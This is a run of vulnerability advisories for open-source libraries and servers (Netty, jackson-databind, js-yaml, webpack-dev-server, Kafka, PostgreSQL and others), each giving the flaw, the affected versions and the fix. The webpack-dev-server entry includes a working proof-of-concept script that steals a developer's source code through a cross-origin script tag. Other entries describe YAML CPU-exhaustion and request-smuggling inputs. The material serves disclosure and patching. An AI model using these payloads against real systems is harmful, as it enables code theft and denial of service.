When multiple server blocks are configured to share the same IP address and port, an attacker can use session resumption to bypass client certificate authentication requirements on these servers. This vulnerability arises when TLS Session Tickets https://nginx.org/en/docs/http/ngx_http_ssl_module.html#ssl_session_ticket_key are used and/or the SSL session cache https://nginx.org/en/docs/http/ngx_http_ssl_module.html#ssl_session_cache are used in the default server and the default server is performing client certificate authentication. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
Improper Input Validation vulnerability in Apache POI. The issue affects the parsing of OOXML format files like xlsx, docx and pptx. These file formats are basically zip files and it is possible for malicious users to add zip entries with duplicate names (including the path) in the zip. In this case, products reading the affected file could read different data because 1 of the zip entries with the duplicate name is selected over another but different products may choose a different zip entry. This issue affects Apache POI poi-ooxml before 5.4.0. poi-ooxml 5.4.0 has a check that throws an exception if zip entries with duplicate file names are found in the input file. Users are recommended to upgrade to version poi-ooxml 5.4.0, which fixes the issue. Please read https://poi.apache.org/security.html for recommendations about how to use the POI libraries securely.
In http-proxy-middleware before 2.0.8 and 3.x before 3.0.4, writeBody can be called twice because "else if" is not used.
In http-proxy-middleware before 2.0.9 and 3.x before 3.0.5, fixRequestBody proceeds even if bodyParser has failed.
Uncontrolled Recursion vulnerability in Apache Commons Lang. This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0. The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could cause an application to stop. Users are recommended to upgrade to version 3.18.0, which fixes the issue.
js-yaml is a JavaScript YAML parser and dumper. In js-yaml before 4.1.1 and 3.14.2, it's possible for an attacker to modify the prototype of the result of a parsed yaml document via prototype pollution (`__proto__`). All users who parse untrusted yaml documents may be impacted. The problem is patched in js-yaml 4.1.1 and 3.14.2. Users can protect against this kind of attack on the server by using `node --disable-proto=delete` or `deno` (in Deno, pollution protection is on by default).
The brace-expansion library generates arbitrary strings containing a common prefix and suffix. Prior to 1.1.21, 2.1.7, 3.0.9, and 5.0.12, the expand function handles untrusted {a},b}-shaped patterns with many trailing closing braces by restarting its scan once for each trailing closing brace. The successive full-input rescans with linear working-string growth cause quadratic CPU time and memory pressure that can block the Node.js event loop. The process eventually recovers, making the impact a recoverable CPU denial of service. This issue is fixed in versions 1.1.21, 2.1.7, 3.0.9, and 5.0.12.
webpack-dev-server versions 5.2.5 and earlier terminate the whole Node.js process when an unauthenticated peer sends either a normal HTTP request with a malformed Host header or a WebSocket upgrade to the default /ws endpoint with a malformed Origin header. The malformed value causes an uncaught exception in the host-validation path and crashes the dev server. Impact is limited to availability of the development server, no data disclosure, no code execution. Patches: upgrade to webpack-dev-server 5.2.6. Workarounds: keep the dev server bound to localhost (the default) and do not expose it to untrusted networks.
Observable response discrepancy in PostgreSQL SCRAM authentication allows an unauthenticated user to test the existence of a user via observing the SCRAM iteration count. This requires the probed user to have a non-default scram_iterations count, because the authentication challenge for a nonexistent user reports the default scram_iterations. Within major versions 16-18, minor versions before PostgreSQL 18.6, 17.11, and 16.15 are affected. Versions before PostgreSQL 16 are unaffected.
jackson-databind's deserializer for java.nio.file.Path resolves an attacker-supplied URI without restricting the URI scheme. In JDKFromStringDeserializer.NioPathHelper.deserialize, a string bound from untrusted JSON is passed to new URI(value) and then to Path.of(uri). When that throws FileSystemNotFoundException, the code enumerates ServiceLoader<FileSystemProvider> and calls provider.getPath(uri) on the first provider whose scheme matches the attacker-chosen scheme. Untrusted JSON can therefore select and drive an arbitrary registered FileSystemProvider during readValue under a default JsonMapper, and forces provider class loading at the same time. With only the JDK built-in providers (file, jar/zipfs) present, the resolved path is inert and no mount or network I/O occurs; further impact requires a side-effecting third-party FileSystemProvider on the classpath. This affects com.fasterxml.jackson.core:jackson-databind from 2.8.0 before 2.18.10, from 2.19.0 before 2.21.6, and from 2.22.0 before 2.22.2, and tools.jackson.core:jackson-databind from 3.0.0 before 3.1.6 and from 3.2.0 before 3.2.2. Users should upgrade to 2.18.10, 2.21.6, 2.22.2, 3.1.6, or 3.2.2. Binding java.nio.file.Path from untrusted JSON should be avoided regardless of version.
Public dashboards with annotations enabled did not limit their annotation timerange to the locked timerange of the public dashboard. This means one could read the entire history of annotations visible on the specific dashboard, even those outside the locked timerange. This did not leak any annotations that would not otherwise be visible on the public dashboard.
The _.unset and _.omit functions in Lodash are vulnerable to prototype pollution. The fix for CVE-2025-13465 only guards against string key members, so an attacker can bypass the check by passing array-wrapped path segments. This allows deletion of properties from built-in prototypes such as Object.prototype, Number.prototype, and String.prototype. The issue permits deletion of prototype properties but does not allow overwriting their original behavior. The issue is patched from 4.18.0 to 4.18.1 depending on the package: lodash, lodash-es, and lodash-amd in 4.18.1, and the standalone lodash.unset and lodash.omit packages in 4.18.0.
Information exposure vulnerability has been identified in Apache Kafka. The NetworkClient component will output entire requests and responses information in the DEBUG log level in the logs. By default, the log level is set to INFO level. If the DEBUG level is enabled, the sensitive information will be exposed via the requests and responses output log. The entire lists of impacted requests and responses are: * AlterConfigsRequest * AlterUserScramCredentialsRequest * ExpireDelegationTokenRequest * IncrementalAlterConfigsRequest * RenewDelegationTokenRequest * SaslAuthenticateRequest * createDelegationTokenResponse * describeDelegationTokenResponse * SaslAuthenticateResponse This issue affects Apache Kafka: from any version supported the listed API above through v3.9.1, v4.0.0. We advise the Kafka users to upgrade to v3.9.2, v4.0.1, or later to avoid this vulnerability.
Picomatch is a glob matcher written JavaScript. Versions prior to 4.0.4, 3.0.2, and 2.3.2 are vulnerable to a method injection vulnerability affecting the `POSIX_REGEX_SOURCE` object. Because the object inherits from `Object.prototype`, specially crafted POSIX bracket expressions (e.g., `[[:constructor:]]`) can reference inherited method names. These methods are implicitly converted to strings and injected into the generated regular expression. This leads to incorrect glob matching behavior (integrity impact), where patterns may match unintended filenames. The issue does not enable remote code execution, but it can cause security-relevant logic errors in applications that rely on glob matching for filtering, validation, or access control. All users of affected `picomatch` versions that process untrusted or user-controlled glob patterns are potentially impacted. This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2. Users should upgrade to one of these versions or later, depending on their supported release line. If upgrading is not immediately possible, avoid passing untrusted glob patterns to picomatch. Possible mitigations include sanitizing or rejecting untrusted glob patterns, especially those containing POSIX character classes like `[[:...:]]`; avoiding the use of POSIX bracket expressions if user input is involved; and manually patching the library by modifying `POSIX_REGEX_SOURCE` to use a null prototype.
Netty allows request-line validation to be bypassed when a `DefaultHttpRequest` or `DefaultFullHttpRequest` is created first and its URI is later changed via `setUri()`. The constructors reject CRLF and whitespace characters that would break the start-line, but `setUri()` does not apply the same validation. `HttpRequestEncoder` and `RtspEncoder` then write the URI into the request line verbatim. If attacker-controlled input reaches `setUri()`, this enables CRLF injection and insertion of additional HTTP or RTSP requests, leading to HTTP request smuggling or desynchronization on the HTTP side and request injection on the RTSP side. This issue is fixed in versions 4.2.13.Final and 4.1.133.Final.
opentelemetry-java is the Java implementation of the OpenTelemetry API for recording telemetry, and SDK for managing telemetry recorded by the API. Prior to 1.62.0, a vulnerability affects the baggage propagation implementation in opentelemetry-api and opentelemetry-extension-trace-propagators. Parsing oversized baggage causes unbounded memory allocation and CPU consumption. Because baggage is automatically re-injected into every outgoing request, the effect can fan out to downstream services that never received the original malicious request. This vulnerability is fixed in 1.62.0.
Netty is a network application framework for development of protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, DefaultHttp2Connection.DefaultEndpoint initialises maxActiveStreams/maxStreams to Integer.MAX_VALUE, and Http2Settings never inserts SETTINGS_MAX_CONCURRENT_STREAMS by default (Http2Settings.java:305-307 only clamps a user-supplied value). Unless the application explicitly calls initialSettings().maxConcurrentStreams(n), a Netty HTTP/2 server advertises no limit and enforces none locally. Each open stream allocates a DefaultStream object, PropertyMap slots, flow-controller state and IntObjectHashMap entry; with ~2^30 permissible odd stream IDs a single TCP connection can create hundreds of thousands of long-lived stream objects. This is also the precondition for CVE-2023-44487-style Rapid-Reset amplification, where the absence of a low concurrent cap multiplies backend work. Versions 4.1.135.Final and 4.2.15.Final patch the issue.
Netty is a network application framework for development of protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, before reading the first request-line, `HttpObjectDecoder` skips every byte for which `Character.isISOControl(b)` is `true` (0x00–0x1F and 0x7F) as well as all whitespace. RFC 9112 §2.2 only asks servers to ignore empty CRLF lines preceding the request-line — a carefully scoped robustness allowance intended to handle HTTP/1.0 POST workarounds. Silently absorbing NUL bytes, SOH, STX, and other non-CRLF control characters goes significantly beyond this, and can be exploited for request-boundary confusion in pipelined or multiplexed transports where a front-end component treats those bytes differently. Versions 4.1.135.Final and 4.2.15.Final patch the issue.
js-yaml is a JavaScript YAML parser and dumper. Prior to 4.2.0 and 3.15.0, a crafted YAML document can trigger algorithmic CPU exhaustion in js-yaml merge-key processing (<<) by repeating the same alias many times in a merge sequence. This causes quadratic parse-time behavior relative to input size and can block a Node.js worker/event loop for seconds with a relatively small payload (tens of KB), resulting in denial of service. The issue is in merge handling inside lib/loader.js. This vulnerability is fixed in 4.2.0 and 3.15.0.
jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.0.0 until 2.18.8, 2.21.4, and 3.1.4, JDKFromStringDeserializer constructed InetSocketAddress with new InetSocketAddress(host, port), which performs eager DNS name resolution for hostname inputs at deserialization time. An application that binds untrusted JSON into a type containing an InetSocketAddress field issues an attacker-chosen DNS query during readValue, before any application-level validation or connect logic. The fix uses InetSocketAddress.createUnresolved(host, port), deferring DNS to an explicit connect. This vulnerability is fixed in 2.18.8, 2.21.4, and 3.1.4.
jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.8.0 until 2.18.9, 2.21.5, and 3.1.4, in BeanDeserializerBase.createContextual(), per-property @JsonIgnoreProperties exclusions are applied by _handleByNameInclusion(), producing a contextual deserializer whose BeanPropertyMap has the ignored properties removed. The subsequent per-property case-insensitivity block (triggered by @JsonFormat(ACCEPT_CASE_INSENSITIVE_PROPERTIES)) rebuilds from this._beanProperties (the original, unfiltered map) instead of contextual._beanProperties, then overwrites the filtered map — restoring every property _handleByNameInclusion had just removed. The ignored property becomes writable again. This vulnerability is fixed in 2.18.9, 2.21.5, and 3.1.4.
jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. Prior to versions 2.18.9, 2.21.5, 2.22.1, 3.1.5, and 3.2.1 on their respective release lines, the java.net.InetAddress branch of FromStringDeserializer.Std._deserialize() calls InetAddress.getByName() on attacker-controlled input, causing eager DNS resolution during deserialization and enabling DNS-based server-side request forgery and internal-host enumeration. This issue is fixed in versions 2.18.9, 2.21.5, 2.22.1, 3.1.5, and 3.2.1.
### Impact picomatch is vulnerable to a **method injection vulnerability (CWE-1321)** affecting the `POSIX_REGEX_SOURCE` object. Because the object inherits from `Object.prototype`, specially crafted POSIX bracket expressions (e.g., `[[:constructor:]]`) can reference inherited method names. These methods are implicitly converted to strings and injected into the generated regular expression. This leads to **incorrect glob matching behavior (integrity impact)**, where patterns may match unintended filenames. The issue does **not enable remote code execution**, but it can cause security-relevant logic errors in applications that rely on glob matching for filtering, validation, or access control. All users of affected `picomatch` versions that process untrusted or user-controlled glob patterns are potentially impacted. ### Patches This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2. Users should upgrade to one of these versions or later, depending on their supported release line. ### Workarounds If upgrading is not immediately possible, avoid passing untrusted glob patterns to picomatch. Possible mitigations include: - Sanitizing or rejecting untrusted glob patterns, especially those containing POSIX character classes like `[[:...:]]`. - Avoiding the use of POSIX bracket expressions if user input is involved. - Manually patching the library by modifying `POSIX_REGEX_SOURCE` to use a null prototype: ```js const POSIX_REGEX_SOURCE = { __proto__: null, alnum: 'a-zA-Z0-9', alpha: 'a-zA-Z', // ... rest unchanged }; ### Resources - fix for similar issue: https://github.com/micromatch/picomatch/pull/144 - picomatch repository https://github.com/micromatch/picomatch
The npm package `hosted-git-info` before 3.0.8 are vulnerable to Regular Expression Denial of Service (ReDoS) via regular expression shortcutMatch in the fromUrl function in index.js. The affected regular expression exhibits polynomial worst-case time complexity
### Summary Source code may be stolen when you access a malicious web site. ### Details Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject `<script src="http://localhost:8080/main.js">` in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables. By using `Function::toString` against the values in `__webpack_modules__`, the attacker can get the source code. ### PoC 1. Download [reproduction.zip](https://github.com/user-attachments/files/18426585/reproduction.zip) and extract it 2. Run `npm i` 3. Run `npx webpack-dev-server` 4. Open `https://e29c9a88-a242-4fb4-9e64-b24c9d29b35b.pages.dev/` 5. You can see the source code output in the document and the devtools console.  The script in the POC site is: ```js let moduleList const onHandlerSet = (handler) => { console.log('h', handler) moduleList = handler.require.m } const originalArrayForEach = Array.prototype.forEach Array.prototype.forEach = function forEach(callback, thisArg) { callback((handler) => { onHandlerSet(handler) }) originalArrayForEach.call(this, callback, thisArg) Array.prototype.forEach = originalArrayForEach } const script = document.createElement('script') script.src = 'http://localhost:8080/main.js' script.addEventListener('load', () => { console.log(moduleList) for (const key in moduleList) { const p = document.createElement('p') const title = document.createElement('strong') title.textContent = key const code = document.createElement('code') code.textContent = moduleList[key].toString() p.append(title, ':', document.createElement('br'), code) document.body.appendChild(p) } }) document.head.appendChild(script) ``` This script uses the function generated by [`renderRequire`](https://github.com/webpack/webpack/blob/3919c844eca394d73ca930e4fc5506fb86e2b094/lib/javascript/JavascriptModulesPlugin.js#L1383). ```js // The require function function __webpack_require__(moduleId) { // Check if module is in cache var cachedModule = __webpack_module_cache__[moduleId]; if (cachedModule !== undefined) { return cachedModule.exports; } // Create a new module (and put it into the cache) var module = __webpack_module_cache__[moduleId] = { // no module.id needed // no module.loaded needed exports: {} }; // Execute the module function var execOptions = { id: moduleId, module: module, factory: __webpack_modules__[moduleId], require: __webpack_require__ }; __webpack_require__.i.forEach(function(handler) { handler(execOptions); }); module = execOptions.module; execOptions.factory.call(module.exports, module, module.exports, execOptions.require); // Return the exports of the module return module.exports; } ``` Especially, it uses the fact that `Array::forEach` is called for `__webpack_require__.i` and `execOptions` contains `__webpack_require__`. It uses prototype pollution against `Array::forEach` to extract `__webpack_require__` reference. ### Impact This vulnerability can result in the source code to be stolen for users that uses a predictable port and output path for the entrypoint script. <details> <summary>Old content</summary> ### Summary Source code may be stolen when you use [`output.iife: false`](https://webpack.js.org/configuration/output/#outputiife) and access a malicious web site. ### Details When `output.iife: false` is set, some global variables for the webpack runtime are declared on the `window` object (e.g. `__webpack_modules__`). Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject `<script src="http://localhost:8080/main.js">` in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. By running that, the webpack runtime variables will be declared on the `window` object. By using `Function::toString` against the values in `__webpack_modules__`, the attacker can get the source code. I pointed out `output.iife: false`, but if there are other options that makes the webpack runtime variables to be declared on the `window` object, the same will apply for those cases. ### PoC 1. Download [reproduction.zip](https://github.com/user-attachments/files/18409777/reproduction.zip) and extract it 2. Run `npm i` 3. Run `npx webpack-dev-server` 4. Open `https://852aafa3-5f83-44da-9fc6-ea116d0e3035.pages.dev/` 5. Open the devtools console. 6. You can see the content of `src/index.js` and other scripts loaded.  The script in the POC site is: ```js const script = document.createElement('script') script.src = 'http://localhost:8080/main.js' script.addEventListener('load', () => { for (const module in window.__webpack_modules__) { console.log(`${module}:`, window.__webpack_modules__[module].toString()) } }) document.head.appendChild(script) ``` ### Impact This vulnerability can result in the source code to be stolen for users that has `output.iife: false` option set and uses a predictable port and output path for the entrypoint script. </details>
## Summary In `BeanDeserializerBase.createContextual()`, per-property `@JsonIgnoreProperties` exclusions are applied by `_handleByNameInclusion()`, producing a `contextual` deserializer whose `BeanPropertyMap` has the ignored properties removed. The subsequent per-property case-insensitivity block (triggered by `@JsonFormat(ACCEPT_CASE_INSENSITIVE_PROPERTIES)`) rebuilds from `this._beanProperties` (the original, unfiltered map) instead of `contextual._beanProperties`, then overwrites the filtered map — restoring every property `_handleByNameInclusion` had just removed. The ignored property becomes writable again. ## Impact An application that both enables case-insensitive matching and relies on per-property `@JsonIgnoreProperties` to keep a field unwritable can have that field set from untrusted JSON (mass-assignment-style write). ## Affected / Patched Will be fixed in 2.18.9, 2.21.5, 2.22.1 and 3.1.4. ## Severity / CWE Maintainer: minor. Reporter: Moderate. CWE-915. ## Upstream fix FasterXML/jackson-databind#5962 (PR #5964, `0e1b0b2`), milestone 3.1.4. Released 2026-06-04.
### Impact DefaultHttp2Connection.DefaultEndpoint initialises maxActiveStreams/maxStreams to Integer.MAX_VALUE, and Http2Settings never inserts SETTINGS_MAX_CONCURRENT_STREAMS by default (Http2Settings.java:305-307 only clamps a user-supplied value). Unless the application explicitly calls initialSettings().maxConcurrentStreams(n), a Netty HTTP/2 server advertises no limit and enforces none locally. Each open stream allocates a DefaultStream object, PropertyMap slots, flow-controller state and IntObjectHashMap entry; with ~2^30 permissible odd stream IDs a single TCP connection can create hundreds of thousands of long-lived stream objects. This is also the precondition for CVE-2023-44487-style Rapid-Reset amplification, where the absence of a low concurrent cap multiplies backend work. ### Resources https://www.rfc-editor.org/rfc/rfc7540.html#section-6.5.2
### Impact When webpack-dev-server is running on a non-HTTPS origin (the default), cross-origin requests from malicious websites can load the dev server's JavaScript bundles via `<script>` tags. The fix introduced in v5.2.1 (CVE-2025-30359) relied on `Sec-Fetch-Mode` and `Sec-Fetch-Site` request headers to block these requests, but browsers only send these headers for [potentially trustworthy origins](https://w3c.github.io/webappsec-secure-contexts/#is-origin-trustworthy). Over plain HTTP, the headers are absent and the check is bypassed. An attacker who knows the dev server's host, port, and output path can exfiltrate all module source code by intercepting the webpack runtime's module registration. This does not affect Chrome 142+ (and other Chromium-based browsers) due to [local network access restrictions](https://developer.chrome.com/release-notes/142#local_network_access_restrictions). ### Patches Patched in webpack-dev-server >= 5.2.4 by setting `Cross-Origin-Resource-Policy: same-origin` on responses. ### Workarounds Run the dev server with HTTPS enabled (`--https` or `server.type: 'https'` in config). ### Resources - [GHSA-4v9v-hfq4-rm2v](https://github.com/webpack/webpack-dev-server/security/advisories/GHSA-4v9v-hfq4-rm2v) (CVE-2025-30359) - original vulnerability - [GHSA-9jgg-88mc-972h](https://github.com/webpack/webpack-dev-server/security/advisories/GHSA-9jgg-88mc-972h) (CVE-2025-30360) - prior bypass
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be `\r` discrepancies, as demonstrated by `@font-face{ font:(\r/*);}` in a rule. This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.
An issue was discovered in ECCurve.java and ECCurve.cs in Bouncy Castle Java (BC Java) before 1.78, BC Java LTS before 2.73.6, BC-FJA before 1.0.2.5, and BC C# .Net before 2.3.1. Importing an EC certificate with crafted F2m parameters can lead to excessive CPU consumption during the evaluation of the curve parameters.
The NPM package `micromatch` prior to version 4.0.8 is vulnerable to Regular Expression Denial of Service (ReDoS). The vulnerability occurs in `micromatch.braces()` in `index.js` because the pattern `.*` will greedily match anything. By passing a malicious payload, the pattern matching will keep backtracking to the input while it doesn't find the closing bracket. As the input size increases, the consumption time will also increase until it causes the application to hang or slow down. There was a merged fix but further testing shows the issue persisted prior to https://github.com/micromatch/micromatch/pull/266. This issue should be mitigated by using a safe pattern that won't start backtracking the regular expression due to greedy matching.
### Impact The `DelegatingDecompressorFrameListener` class orchestrates HTTP/2 decompression by embedding a per-stream `EmbeddedChannel` that runs the appropriate decompression codec (gzip, deflate, zstd) and forwards decompressed chunks to a wrapped listener. Each decompressed chunk is a pooled `ByteBuf` handed to an anonymous `ChannelInboundHandlerAdapter` tail handler, which becomes the sole owner responsible for releasing it. A remote peer could send frames that would result in the flow-controller throwing and so trigger a resource leak which at the end might take down the whole JVM due OOME.
### Summary A crafted YAML document can trigger algorithmic CPU exhaustion in `js-yaml` merge-key processing (`<<`) by repeating the same alias many times in a merge sequence. This causes quadratic parse-time behavior relative to input size and can block a Node.js worker/event loop for seconds with a relatively small payload (tens of KB), resulting in denial of service. ### Details The issue is in merge handling inside `lib/loader.js`: - `storeMappingPair(...)` iterates every element of a merge sequence when key tag is `tag:yaml.org,2002:merge`. - For each element, it calls `mergeMappings(...)`. - `mergeMappings(...)` computes `Object.keys(source)` and performs `_hasOwnProperty.call(destination, key)` checks for each key. When input is of the form: a: &a {k0:0, k1:0, ..., kK:0} b: {<<: [*a, *a, *a, ... repeated M times ...]} all *a entries refer to the same anchored object. After the first merge, subsequent merges are semantically no-ops, but the parser still reprocesses all keys each time. Resulting work is O(K * M), while input size is O(K + M), giving quadratic scaling as payload grows. Relevant code path: lib/loader.js in storeMappingPair(...) merge branch (keyTag === 'tag:yaml.org,2002:merge') lib/loader.js mergeMappings(...) ### Root cause File: lib/loader.js Function: storeMappingPair(state, _result, overridableKeys, keyTag, keyNode, valueNode, startLine, startLineStart, startPos) Lines: ~359-366 if (keyTag === 'tag:yaml.org,2002:merge') { if (Array.isArray(valueNode)) { for (index = 0, quantity = valueNode.length; index < quantity; index += 1) { mergeMappings(state, _result, valueNode[index], overridableKeys); } } else { mergeMappings(state, _result, valueNode, overridableKeys); } } When the merge value is a sequence (YAML 1.1 <<: [ *a, *a, ... ]), each element is handed to mergeMappings() without deduplication. mergeMappings() then does sourceKeys = Object.keys(source); for (index = 0; index < sourceKeys.length; index += 1) { key = sourceKeys[index]; if (!_hasOwnProperty.call(destination, key)) { setProperty(destination, key, source[key]); overridableKeys[key] = true; } } Every alias reference in the sequence resolves (by design) to the SAME object via state.anchorMap. After the first merge, every subsequent merge of that same reference is a pure no-op semantically, but still performs: * one Object.keys(source) call (O(K)) * K _hasOwnProperty.call checks on the destination Total: M * K hasOwnProperty checks + M Object.keys allocations, while the final object and all observable side effects are identical to a single merge. YAML semantics for `<<:` are idempotent and commutative over duplicate sources, so collapsing duplicates preserves behavior exactly; this isn't a spec trade-off. ### PoC Environment: js-yaml version: 4.1.1 Node.js: v24.5.0 Platform: arm64 macOS (reproduced consistently) Reproduction script: Create many keys in one anchored map (&a). Merge that same alias repeatedly via <<: [*a, *a, ...]. Measure parse time and compare with control payload using single merge (<<: *a). Observed repeated runs (same machine): K=M=1000, input 9,909 bytes: ~33–36 ms K=M=2000, input 20,909 bytes: ~121–123 ms K=M=4000, input 42,909 bytes: ~524–537 ms K=M=6000, input 64,909 bytes: ~1,608–1,829 ms K=M=8000, input 86,909 bytes: ~3,395–3,565 ms Control (single merge, similar key counts): K=2000: ~1–2 ms K=4000: ~3 ms K=8000: ~5 ms Also verified: repeated-merge output equals single-merge output (same key count and same JSON), confirming excess time is redundant computation. ### Impact This is a denial-of-service vulnerability (CPU exhaustion / algorithmic complexity). Any service parsing untrusted YAML with js-yaml can be impacted, including API backends, CI tools, config processors, and automation services. An attacker can submit crafted YAML to significantly increase CPU time and reduce availability. ### Suggested fix: Dedupe the merge source list by reference before invoking mergeMappings. Any of the following are minimal and preserve YAML 1.1 merge semantics: dedupe in storeMappingPair: if (keyTag === 'tag:yaml.org,2002:merge') { if (Array.isArray(valueNode)) { var seen = new Set(); for (index = 0, quantity = valueNode.length; index < quantity; index += 1) { var src = valueNode[index]; if (seen.has(src)) continue; // idempotent; skip redundant alias seen.add(src); mergeMappings(state, _result, src, overridableKeys); } } else { mergeMappings(state, _result, valueNode, overridableKeys); } }
## Summary `JDKFromStringDeserializer` constructed `InetSocketAddress` with `new InetSocketAddress(host, port)`, which performs eager DNS name resolution for hostname inputs at deserialization time. An application that binds untrusted JSON into a type containing an `InetSocketAddress` field issues an attacker-chosen DNS query during `readValue`, before any application-level validation or connect logic. The fix uses `InetSocketAddress.createUnresolved(host, port)`, deferring DNS to an explicit connect. ## Impact An attacker controlling JSON deserialized into an `InetSocketAddress`-bearing type can force outbound DNS lookups for attacker-chosen hostnames at deserialization time (SSRF / DNS-based out-of-band interaction / internal-resolver probing), purely from binding. ## Affected / Patched (verified via `git tag --contains` on `1f5a103`) - 2.18 line: `>= 2.18.0, < 2.18.8` -> fixed in **2.18.8** - 2.19-2.21 line: `>= 2.19.0, < 2.21.4` -> fixed in **2.21.4** - 3.x line: `>= 3.0.0, < 3.1.4` -> fixed in **3.1.4** ## Severity / CWE Maintainer: minor. Reporter: LOW. CWE-918 (SSRF). ## Upstream fix FasterXML/jackson-databind#5951 ("Improve InetSocketAddress deserialization"). Released 2026-06-04 in 2.18.8 / 2.21.4 / 3.1.4. ## Credits Omkhar Arasaratnam (@omkhar) - finder.
Affected versions of npm package `path-parse` are vulnerable to Regular Expression Denial of Service (ReDoS) via splitDeviceRe, splitTailRe, and splitPathRe regular expressions. ReDoS exhibits polynomial worst-case time complexity.
## Summary Before reading the first request-line, `HttpObjectDecoder` skips every byte for which `Character.isISOControl(b)` is `true` (0x00–0x1F and 0x7F) as well as all whitespace. RFC 9112 §2.2 only asks servers to ignore **empty CRLF lines** preceding the request-line — a carefully scoped robustness allowance intended to handle HTTP/1.0 POST workarounds. Silently absorbing NUL bytes, SOH, STX, and other non-CRLF control characters goes significantly beyond this, and can be exploited for request-boundary confusion in pipelined or multiplexed transports where a front-end component treats those bytes differently. ## Affected Code | File | Lines | Role | |------|-------|------| | `codec-http/src/main/java/io/netty/handler/codec/http/HttpObjectDecoder.java` | 1298–1313 | `ISO_CONTROL_OR_WHITESPACE` static initialiser — marks all ISO control chars | | `codec-http/src/main/java/io/netty/handler/codec/http/HttpObjectDecoder.java` | 1307–1313 | `SKIP_CONTROL_CHARS_BYTES` `ByteProcessor` — skips the entire set | | `codec-http/src/main/java/io/netty/handler/codec/http/HttpObjectDecoder.java` | 1275–1289 | `LineParser.skipControlChars` — advances `readerIndex` past all matching bytes | ## Specification Analysis ### RFC 9112 §2.2 — Message Parsing > In the interest of robustness, a server that is expecting to receive and parse a > request-line **SHOULD ignore at least one empty line (CRLF)** received prior to the > request-line. > An HTTP/1.1 user agent **MUST NOT** preface or follow a request with an extra CRLF. ### Deviation The RFC names a single permitted exception: an **empty line** (bare CRLF, i.e. the two-byte sequence `\r\n`). The `ISO_CONTROL_OR_WHITESPACE` table is initialised as: ```java for (byte b = Byte.MIN_VALUE; b < Byte.MAX_VALUE; b++) { ISO_CONTROL_OR_WHITESPACE[128 + b] = Character.isISOControl(b) || isWhitespace(b); } ``` `Character.isISOControl` returns `true` for `0x00`–`0x1F` and `0x7F`. This includes NUL (`0x00`), SOH (`0x01`), STX (`0x02`), BEL (`0x07`), DEL (`0x7F`), and every other non-CRLF control character. The `SKIP_CONTROL_CHARS` state runs this scan unconditionally before the first `READ_INITIAL`, meaning any sequence of such bytes prepended to a request is silently consumed. A load balancer or TLS terminator that does not perform the same scan sees a different message boundary than Netty does, which is the basis of a request-desync / smuggling attack. ## Suggested Unit Test Add to `HttpRequestDecoderTest.java`. ```java @Test public void testNonCrlfControlBytesPrecedingRequestLineAreRejected() { // RFC 9112 §2.2: servers SHOULD ignore "at least one empty line (CRLF)" before the // request-line. Non-CRLF control bytes are not part of this robustness allowance // and must not be silently swallowed. EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder()); ByteBuf buf = Unpooled.buffer(); buf.writeByte(0x00); // NUL — not an empty CRLF line buf.writeByte(0x01); // SOH — not an empty CRLF line buf.writeCharSequence( "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n", CharsetUtil.US_ASCII); channel.writeInbound(buf); HttpRequest req = channel.readInbound(); // Current behaviour: NUL and SOH are in ISO_CONTROL_OR_WHITESPACE, so they are // silently skipped; the request decodes successfully and isFailure() == false. // // RFC-correct behaviour: only empty CRLF lines should be ignored; NUL/SOH must // cause a parse error — isFailure() == true. assertTrue( req.decoderResult().isFailure(), "Non-CRLF control bytes before the request-line must not be silently skipped " + "(RFC 9112 §2.2 allows only empty CRLF lines)"); assertFalse(channel.finish()); } ``` **Current behaviour (unfixed):** `skipControlChars` advances past `0x00` and `0x01` because both are in `ISO_CONTROL_OR_WHITESPACE`; the request parses normally, `isFailure()` is `false` → test **fails**. **Expected behaviour after fix:** only CRLF empty lines are tolerated; non-CRLF control bytes produce an error, `isFailure()` is `true` → test **passes**.
All versions of the package word-wrap are vulnerable to Regular Expression Denial of Service (ReDoS) due to the usage of an insecure regular expression within the result variable.
### Impact The MQTT 5 header Properties section is parsed and buffered _before_ any message size limit is applied. Specifically, in `MqttDecoder`, the `decodeVariableHeader()` method is called before the `bytesRemainingBeforeVariableHeader > maxBytesInMessage` check. The `decodeVariableHeader()` can call other methods which will call `decodeProperties()`. Effectively, Netty does not apply any limits to the size of the properties being decoded. Additionally, because `MqttDecoder` extends `ReplayingDecoder`, Netty will repeatedly re-parse the enormous Properties sections and buffer the bytes in memory, until the entire thing parses to completion. This can cause high resource usage in both CPU and memory. ### Resources `ANT-2026-09608` https://docs.oasis-open.org/mqtt/mqtt/v5.0/os/mqtt-v5.0-os.html#_Toc3901027
Improper input validation allows for header injection in MIME4J library when using MIME4J DOM for composing message. This can be exploited by an attacker to add unintended headers to MIME messages.
